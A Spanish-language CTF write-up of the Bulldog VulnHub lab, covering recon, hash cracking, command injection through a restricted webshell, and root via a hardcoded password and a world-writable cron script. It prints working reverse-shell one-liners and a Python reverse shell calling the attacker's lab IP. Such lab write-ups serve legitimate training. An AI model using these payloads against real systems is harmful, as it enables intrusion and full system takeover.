Skip to content

Instantly share code, notes, and snippets.

@xbytemx
Last active November 30, 2017 16:48
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save xbytemx/ee5f213267739018885549ace2e97538 to your computer and use it in GitHub Desktop.
Save xbytemx/ee5f213267739018885549ace2e97538 to your computer and use it in GitHub Desktop.
CTF Writeup - Bulldog (vulnhub)

Descripción

Nombre: Bulldog: 1

Fecha de liberación: 28 Aug 2017

Autor: Nick Frichette (frichetten.com) @frichette_n

Dificultad: Principiante/Intermedio

Recientemente, Industrias Bulldog han sido víctimas del malvado grupo "German Shepherd Hack Team", los cuales han realizado un _deface y se adueñaro n ilícitamente del sitio principal. ¿Querrá esto significar que aun hay más vulnerabilidades por abusar? ¿Por qué no lo averiguas? :)

Objetivo

Abrir el archivo de texto almacenado en la carpeta /root.

Herramientas utilizadas

Preparación

Todo el tutorial esta hecho desde una maquina con GNU/Linux como anfitriona de la Maquina Virtual (MV) vulnerable.

Iniciamos por descargar la MV bulldog.ova de la pagina de vulnhub (https://download.vulnhub.com/bulldog/bulldog.ova), si lo realizamos desde una shell de bash hacia la carpeta temporal podríamos usar wget de la siguiente manera:

wget -c -O /tmp/bulldog.ova https://download.vulnhub.com/bulldog/bulldog.ova

Debe verse de la siguiente manera:

png

Posteriormente verificamos la descarga con sha1sum:

sha1sum /tmp/bulldog.ova | grep -i "CC4C750C1BB547A35F21EF1D66EB51B0ED9B83AE"

Debe verse de la siguiente manera:

png

Si la salida no tiene coincidencia, entonces no se bajo correctamente y toca volver a descargar la OVA.

Ahora procedemos a establecer la topología; este tutorial puede ser cubierto desde una maquina GNU/Linux anfitriona atacando a la MV, pero también pue de realizarse desde otra MV con un Kali/Parrot sobre el mismo hipervisor.

Mi recomendación es que sea cual sea el escenario (virtual a virtual o física a virtual), meteremos la(s) Maquina(s) Virtual(es) dentro de una interfa se solo anfitrión. Para este tutorial, usaré la interfase vboxnet0, la cual tiene la dirección 172.16.254.254 con mascara de 28 bits, con la cualidad de entregar direcciones IP por DHCP.

Para realizar las configuraciones necesarias puedes revisar dentro del virtualbox en Archivo->Preferencias->Red->Redes solo-anfitrión->Editar

png

png

Ahora que hemos revisado todos los requisitos agregamos la MV a virtualbox. Agregamos la maquina de la siguiente manera: Archivo->Importar servicio vi rtualizado

png

Seleccionamos Siguiente y después Importar.

png

png

Seleccionamos la MV:

png

Y después le damos click a la palabra Red y nos debe mostrar una pantalla emergente como la siguiente:

png

Ahí cambiamos la configuración a la siguiente:

png

Damos click en Aceptar y ahora si nos encontramos listos para encender la Maquina Virtual.

Comenzamos el boot2root iniciando la MV. Si todo salio bien deberíamos ver una pantalla como la siguiente:

png

Suerte!

Paso 1

Como la imagen de la fase 0 nos indica, la maquina virtual se encuentra arriba. Quise agregar esta sección para que veamos que fue lo que sucedió dura nte el arranque y como pasivamente reconocemos la MV.

Para ilustrar un poco mejor la red, agregue el siguiente diagrama con lo que sabemos hasta el momento:

png

Si abrimos el Wireshark en la interfase vboxnet0 durante el inicio de la MV hasta la pantalla anterior de la fase 0, veremos algo como lo siguiente:

png

De esta imagen concluimos que no hace llamadas externas, usa IPv4 y IPv6. Su única interfase necesita de DHCP para funcionar (como lo indica el creado r). A 5 min de haber encendido la MV no realizo mas actividad que la presentada en la imagen de Wireshark.

La MAC de la MV vulnerable es 08:00:27:16:1d:5f y para mi caso de ejemplo tiene la dirección 172.16.254.241.

Sobre el reconocimiento de la descripción que nos da esta maquina, sabemos que fueron pwneados anteriormente (aun no sabemos como o si hay regalitos), bulldog es el nombre de la empresa (posiblemente palabra clave para un vector posterior), y el único hit es seguirle en el sistema hasta conseguirlo.

Paso 2

Seguramente en este punto alguien ya se impaciento y lanzo un nmap a diestra y siniestra.

Buenas noticias, esta MV no trae ningún tipo de bloqueo o retención de escáneres, por lo que sin temor ni cuidado del escandalo a causar, lanzamos un estándar nmap -A hacia todos los puertos:

nmap -A -T4 -v -n --open -Pn -p- 172.16.254.241

Deberemos tener una pantalla resultado como la siguiente:

png

png

Ok, puerto 23 abierto para servicio de SSH, servidor OpenSSH 7.2p2, veamos que dice CVEdetails:

png

Las llaves son RSA 2048 y ECDSA 256, lo cual nos dice que son mas duras y que si tomamos el camino a la fuerza bruta, vamos a tardar.

Como podemos ver, nada realmente destacable que nos ayude a acceder sin conocer los usuarios/contraseñas con acceso por ssh.

Continuamos con el siguiente servicio, el del puerto 80, HTTP WSGIServer 0.1 (Python 2.7.12).

Realizamos un curl -I (HEAD) para ver mas información del webserver:

curl -I 172.16.254.241

La respuesta esperada debe ser parecida a la siguiente:

png

Continuamos con el siguiente servicio, que nos da el mismo resultado:

png

Concluimos que el webserver esta posiblemente escrito sobre python 2.7, posiblemente pudiera ser django o algo parecido. Recordemos que no porque el h eader lo diga debe ser verdad.

Tomamos capturas de pantalla de las paginas, y comenzamos por analizar la aplicación web:

png

png

Como vemos el resultado aparentemente es el mismo.

Paso 3

Lo primero que analizamos es el contenido de la pagina principal:

Thank you for visiting Bulldog Industries' website, the world's
number one purveyor of high quality English Bulldog photography!

Unfortunately we are suspending business operations until further
notice. On the first of this month, we were made aware of a breach
of our technology systems. We are currently assessing the
possibility that hackers may have gotten access to customer
payment information. Do not be alarmed as we will be providing
simple credit monitoring for all affected customers.    

For more information on this, please see our public disclosure
notice found below.

Public Notice

OMG, nos confirman que fueron víctimas de un ciberdelito!

Nos dan un enlace a una nota publica y tenemos la imagen del bulldog. Antes de brincar al enlace, analizamos el código fuente de la pagina:

png

Del HEAD podemos identificar UTF-8 como charset, y la carpeta static donde se almacenan los recursos.

Continuamos por el body y lo único que sobre sale es "/notice" y "/static/bulldog.jpg". Todo se encuentra referenciado a un root "/" por lo que descar tamos subir de directorios (../../../../):

png

Continuamos por analizar el contenido que trae "/notice":

png

Ouch, mucha gente imaginaria despedida!

Winston, recordare el nombre.

Analizamos la imagen; primero la descargamos y después vemos sus propiedades por exiftool:

png

awww. El creador dejo un "huevo de pascua".

Ok, continuamos con un escaneo mas agresivo sobre la aplicación web.

Paso 4

Dado que los enlaces sobre el código no dice mucha información sobre que otra cosa pudiera pasar, utilizaremos la herramienta gobuster para escanear m as directorios sobre la aplicación (en mi caso descargue el repositorio de Github, y tengo correctamente instalado golang) y usaremos un archivo con l os directorios mas comunes que provee el repositorio de Github Seclists:

png

Interesante, tenemos dos sitios nuevos, admin y dev:

png

png

Ulalá, que tenemos aquí!

Alan el nuevo campeón nos introduce a la empresa, nos pone al día con la siguiente información: • Cambiaron PHP por python<3 • Desarrollo de su CMS: ◦ DJANGO ◦ Webshell (bye bye SSH) personalizada ◦ MongoDB a medio instalar ◦ AV de ultima generación con escaneo cada minuto.

Tenemos pendiente revisar el "/dev/shell" (que divertido nombre por cierto) y el código fuente de "/admin". Continuamos por "/admin".

png

Vemos que tiene implementada una medida CSRF, y que aquí no hay nada especial de momento.

Continuamos ahora si por el poderoso "/dev/shell":

png

El código fuente de esta pagina nos dice:

png

La verdad es que no nos dice mucho más que necesitamos validarnos con una cuenta...

Bien, pero hemos olvidado algo, no hemos validado aun que hay en "/dev" dentro del código fuente:

png

Hashes para todos!

Ahora ya tenemos un par de hashes que pudiéramos romper, así como las cuentas o nombre de cada 'usuarios' probablemente asociada al "/admin" de hace r ato.

Continuamos en la siguiente fase.

Paso 5

Comenzamos esta fase por extraer las hashes del código anterior y creamos el archivo /tmp/hashes.txt con el siguiente contenido:

6515229daf8dbdc8b89fed2e60f107433da5f2cb
38882f3b81f8f2bc47d9f3119155b05f954892fb
c6f7e34d5d08ba4a40dd5627508ccb55b425e279
0e6ae9fe8af1cd4192865ac97ebf6bda414218a9
553d917a396414ab99785694afd51df3a8a8a3e0
ddf45997a7e18a25ad5f5cf222da64814dd060d5
d8b8dd5e7f000b8dea26ef8428caf38c04466b3e

En un script rápido, este one-single-line lo crea:

curl -s  http://172.16.254.241/dev/ | grep "@" | cut -d"!" -f2 | sed 's/[-\>]//g' | tee /tmp/hashes.txt

png

Pasamos estos hashes por el identificador HashTag:

./HashTag.py -f /tmp/hashes.txt -o /tmp/hashtag.txt

png

Esto nos ayuda a identificar que los hashes son SHA1, y que el modo de ataque es 100 en hashcat, el cual ejecutaremos pasándole como parámetro de dicc ionario el siguiente de SecList:

./hashcat64.bin --quiet -a 0 -m 100 /tmp/hashes.txt ../git/SecLists/Passwords/10k_most_common.txt

png

Como podemos ver de la imagen, la contraseña de nick el programador de Backend, es bulldog.

Procederemos a validar si esto nos da acceso a la aplicación.

Paso 6

Probamos en "/admin" las credenciales nick/bulldog:

png

Y ya accedimos a la súper aplicación! ... oh bueno, en vías de desarrollo, porque realmente no se puede hacer nada.

png

Con este token validado, debería ser capaz de muchas cosas como usar ahora si "/dev/shell":

png

OMG, tenemos una poderosa shell de 6 comandos! Shell y diversión para toda la familia. A nivel de código no hay mucho que rescatar:

png

El tema mas interesante aquí es: "todos los se ejecutan sobre el servidor". Lo que se traduce en: Tratando de escapar de la webshell en menos de 400 c aracteres!

png

Por lo que podemos observar, nos imprime la orden y después el output. Veamos que caracteres reservados están soportados:

png

Parece que reconoció mi ";" para concatenar instrucciones. Lo bueno es que no es la única manera de pasar mas instrucciones:

png

Y con esto, hemos escapado de la webshell concatenando instrucciones "Si la ejecución fue exitosa, entonces ejecuta el comando siguiente a la derecha" con el '&&', lo cual me permitió ejecutar instrucciones después del cat.

Paso 7

En la fase anterior descubrimos que el webshell esta pobremente implementado y que fue posible escapar concatenando instrucciones con '&&'. Gracias a eso ahora podemos insertar instrucciones que nos ayuden a reconocer un poco mejor el sistema operativo sobre el cual estamos.

Anexo algunos comandos útiles para hacer el reconocimiento:

cat && id
cat && uname -a
cat && ps -fea
cat && mount
cat && netstat -platune
cat && pwd
cat && ls /home
cat && ip link
cat && ip addr
cat && ip route
cat && cat /etc/passwd

Con esta información hemos descubierto que root, bulldogadmin y django son los usuarios con shell en el sistema. También identificamos que bulldogadmi n y django tienen permisos de sudo, lo que significa que si comprometemos cualquiera de esos usuarios, podríamos subirnos los privilegios.

Desgraciadamente la webshell no permite de manera adecuada el manejo interactivo de los comandos, lo que nos limita en superficie a poder identificar solo algunos componentes del sistema y no todos los posibles vectores de ataque.

Vamos a escanear de que manera podemos volvernos independientes de la webshell.

Paso 8

Comenzamos por ver que es lo que hay en el menú de comandos de usuarios no privilegiados:

cat && ls /bin && ls /usr/bin

La lista es enorme:

png

Probamos algunas de las maneras mas comunes que no incluyen ';':

bash -i >& /dev/tcp/172.16.254.254/1234 0>&1
/bin/sh | nc 172.16.254.254 1234
exec /bin/bash 0&0 2>&0
mknod /tmp/p p && nc 172.16.254.254 1234 0/tmp/p telnet 172.16.254.254 1234 | /bin/bash | telnet 172.16.254.254 4321

Ninguna se pudo mantener a flote, todas pudieron conectarse y después caían cuando el resultado era exitoso. Mandar el proceso a bg tampoco funciona.

Después de mucho intentar y jugar, creando archivos FIFO temporales fue la mejor solución.

cat && mkfifo /tmp/p && cat /tmp/p | /bin/sh -i 2>&1 | telnet 172.16.254.254 1234 > /tmp/p

Esto consiste en levantar una sesión a la escucha del lado del atacante usando netcat, y crear en la víctima un archivo que sirva como pivote del inpu t y output de una shell (sh) mientras que todo se transmite por telnet. (Source: https://www.asafety.fr/reverse-shell-one-liner-cheat-sheet)

Ahora, cuando ejecutamos el comando, como el FIFO esta vivo y enviando y recibiendo a través del socket (todo es un archivo) en el host atacante, el w ebshell sigue ejecutando la instrucción.

png

Como podemos ver del otro lado se levanta la sesión y comienza la fiesta.

png

Paso 9

Comenzamos entonces a explorar de una mejor forma las carpetas y el contenido:

png

Ese .hiddenadmindirectory se ve MUY sospechoso, mas porque los permisos me permiten casi todo...

Entremos al directorio y veamos que hay:

png

Ok... la nota esta dirigida a NICK (el de la pass de bulldog.. dah), dice de un superproto que se encarga de dar permisos especiales de root para tare as especificas. Habla de reversing, veo que tengo privilegios de lectura, veamos de que se trata el binario.

Paso 10

En la fase anterior, descubrimos un binario que permite el acceso a privilegios de root, veamos de que se trata:

png

Ok, lo robamos le damos permisos de ejecución, y me dice que mi tty no esta presente y no tiene manera de que sudo me pregunte por mi pass.

Si hacemos directamente un 'sudo -s' nos aparece el mismo mensaje, lo cual es una señal de que el programa hace uso de sudo para elevar sus privilegio s:

png

Vamos a hacer un upgrade vía python de la siguiente manera (mas info https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys):

python -c 'import pty; pty.spawn("/bin/bash")'

png

Ahora como podemos ver, ya hemos brincado de /bin/sh a /bin/bash y nos aparece un warning que podemos de momento ignorar.

Ejecutamos ahora un 'sudo -s'

png

Ahora ya somos tenemos terminal decente y confiable para sudo, pero aun no tenemos la password de django. Probemos el superprototipo de permisos a ver que sucede:

png

Nos pide la pass de django, la cual de momento no tenemos... creo que entonces tendremos que hacer un poco reversing de la aplicación dado que el ulti mo guiño fue a que este usuario podría hacerse root:

Comenzamos por un file y un ldd para saber si tenemos alguna restricción sobre que podemos y no hacer:

png

Continuamos haciendo un objdump para ver donde comienza a ejecutarse:

objdump -x /tmp/customPermissionApp

png

Ok, por lo visto iniciamos en 0x4004e0, que es la sección:

png

.Text, la sección .text. Veamos si tiene alguna función "main":

objdump -d -j .text /tmp/customPermissionApp

png

Excelente, ya tenemos una parte de partida. Esos puts se ven llamativos, veamos que se esta subiendo a edi antes de la llamada:

// codes: 0x400708 0x400740 0x400769
ojbdump -s 	

png

Como podemos observar, en la sección .rodata se encuentran los strings que aparecen en la pantalla al ejecutar la aplicación. Lo ultimo es subir "sudo su root" a edi y hacer la llamada a system como comando.

Main continua subiendo unos hexas a rax que después tiene un mov con un offset a rbp. Vamos a ver como se ve eso en string:

objdump -s customPermissionApp -j ".text" --start-address=0x40060b --stop-address=0x400643

png

Eso de lejos parece un string, pasémoslo cada chunk por un printf:

png

Arriba del texto ya conocido, aparece algo que al terminar de armar y limpiar dice así:

SUPERultimatePASSWORDyouCANTget

Vamos a probar el string como password de django, el usuario para el que se desarrollo la aplicación:

png

Ahora, ya somos root.

Captura la bandera!

Bueno este es el proceso mas sencillo, ya como root, nos vamos a $HOME, de ahí vemos los archivos que existen en la carpeta y mostramos la bandera:

png

Como podemos ver la bandera nos dice que hay mas de un método de resolución, por lo que ahora procedemos a buscar el segundo.

¿Te acuerdas que hay un antivirus que checa todo cada minuto?

Paso 11 (flag2)

Lo primero que haremos como el usuario mortal django, es evaluar también si existe algo autoprogramado vía cron:

png

Como se puede observar, existe un archivo llamada runAV dentro de la carpeta cron, donde la tarea es llamada cada minuto, lo ejecuta root y esta en un a carpeta oculta de raíz.

Paso 12 (flag2)

Vamos a ver que propiedades y permisos tiene la carpeta:

png

Es de root, pero tiene permisos 777, lo que significa que cualquiera puede editar este archivo!

Veamos el contenido del archivo:

png

Libre y disponible para ser editado.

Paso 13 (flag2)

Vamos a agregarle un regalillo:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("172.16.254.254",8007))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

png

Este programa básicamente genera algo parecido a lo que hicimos con mkfifo, por lo que cuando sea ejecutado por root, al ser de una llamada de cron, i niciara una sesión reversa hacia nuestra maquina como root.

Por lo que solo levantamos un netcat en nuestra maquina y esperamos que nos llame:

png


Eso ha sido todo, espero que les haya gustado.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment